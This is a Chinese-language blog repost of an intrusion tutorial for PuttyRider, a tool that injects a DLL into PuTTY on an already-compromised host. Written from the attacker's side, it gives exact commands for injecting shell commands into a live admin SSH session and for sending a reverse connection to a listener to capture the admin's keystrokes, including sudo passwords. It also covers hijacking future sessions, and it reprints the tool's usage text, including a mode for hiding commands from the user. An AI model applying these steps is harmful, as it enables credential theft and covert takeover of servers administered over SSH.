zoukankan      html  css  js  c++  java
  • Putty的噩梦——渗透工具PuttyRider使用心得分享

    我们在入侵到一台主机的时候,经常会看到管理员的桌面会放着putty.exe,这说明有很大的可能性管理员是使用putty远程管理主机的。

    该工具主要是针对SSH客户端putty的利用,采用DLL注入的方式,来实现各种猥琐的利用姿势。

    PuttyRider_architecture

    我依次演示该工具的三种利用场景

    1)当你远程控制对方主机的时候,管理员正好用putty连接着远程主机

    这种情景,我们只要直接注入命令到当前的putty进程,就可以利用,非常简单,缺点是没有回显。

    t01ce4f3afcf47b04d3.jpg

    使用puttyRider.exe –l 查看当前进程中putty正在连接的远程主机信息,这里不光能得到远程主机的IP地址和putty进程号,

    还能在Injected列看到当前是NO,说明我们还没有进程注入。

    t01384d89895aa86a3c.jpg

    我们使用puttyrider.exe –p 0 –f –c ifconfig,就把ifconfig命令注入到当前的putty会话了,就达到远程命令执行的目的了。

    再次puttyRider.exe –l 看一下,发现injected列是yes了,说明我们注入进程成功了。

    t01aa1aa8be052a81f8.jpg

    2)使用反弹的方式实时看管理员的输入

    除了利用第一种方法直接注入命令,我们还可以反弹出来,实时看到对方管理员在putty里的输入,即使管理输入sudo这种命令,我们也能够看到他输入的明文密码。

    但是这种利用的前提是,对方管理员正在用PUTTY连接的主机可以反弹到你监听的IP地址,防火墙限制的不是很严。

    t01a5e3207ba4897591.jpg

    Puttyrider.exe –p 0 –r 我监听的IP:端口

    执行后,我们就可以看到结果了

    t0183fd6fe50fa2129d.jpg

    3)我运气不这么好,对方管理员当前没有正在使用PUTTY管理远程主机

    这种情况应该最常见了,软件作者也考虑到了,给我们提供了-w参数,他会让puttyrider后台监视新起来的进程,然后反弹到我们的主机,也能实时的看到对方的操作哦,包括输入的账号

    http://p2.qhimg.com/t01b10f9dd71aac0fe4.jpg

    Puttyrider.exe –w –r 我监听的IP:端口号

    当执行完这个命令后,只要管理员下次再次开启PUTTY的时候,我们就能在监听的9999端口看到她的SHELL了

    http://p0.qhimg.com/t017f16d0d851ca333d.jpg

    最后如果想研究工具细节的童鞋,可以在

    https://codeload.github.com/seastorm/PuttyRider/zip/master下载源码,深入学习 :)

    编译好的二进制文件可以在

    https://github.com/seastorm/PuttyRider/releases/download/0.1/PuttyRider-bin.zip下载

    ==========================================================================

    安全脉搏SP主编来提供一下高级的演示文档和基础的参数使用:

    Documentation

    Usage

    Operation modes:
        -l      List the running Putty processes and their connections
        -w      Inject in all existing Putty sessions and wait for new sessions
                to inject in those also
        -p PID  Inject only in existing Putty session identified by PID.
                If PID==0, inject in the first Putty found
        -x      Cleanup. Remove the DLL from all running Putty instances
        -d      Debug mode. Only works with -p mode
        -c CMD  Automatically execute a Linux command after successful injection
                PuttyRider will remove trailing spaces and '&' character from CMD
                PuttyRider will add: " 1>/dev/null 2>/dev/null &" to CMD
        -h      Print this help
    
    Output modes:
        -f          Write all Putty conversation to a file in the local directory.
                    The filename will have the PID of current putty.exe appended
        -r IP:PORT  Initiate a reverse connection to the specified machine and
                    start an interactive session.
    
    Interactive commands (after you receive a reverse connection):
        !status     See if the Putty window is connected to user input
        !discon     Disconnect the main Putty window so it won't display anything
                    This is useful to send commands without the user to notice
        !recon      Reconnect the Putty window to its normal operation mode
        CMD         Linux shell commands
        !exit       Terminate this connection
        !help       Display help for client connection

    【本文来源 : 360漏洞播报 作者Mickey SP主编整理发布】

    转载请注明:安全脉搏 » Putty的噩梦——渗透工具PuttyRider使用心得分享

     

     
  • 相关阅读:
    Excelファイルを扱う方法
    BINARYSEARCH有り無しのパフォーマンスの違い
    権限チェック
    ラジオボタンで選択項目を動的に変更
    ALVのイベントを取得する方法
    LOOP AT SCREEN
    MOVE-PERCENTAGE(文字列の部分の代入)
    Java快捷键与搜狗输入法快键的冲突
    Android之RadioButton多行
    Android之socket服务端
  • 原文地址:https://www.cnblogs.com/dongchi/p/4159520.html
Copyright © 2011-2022 走看看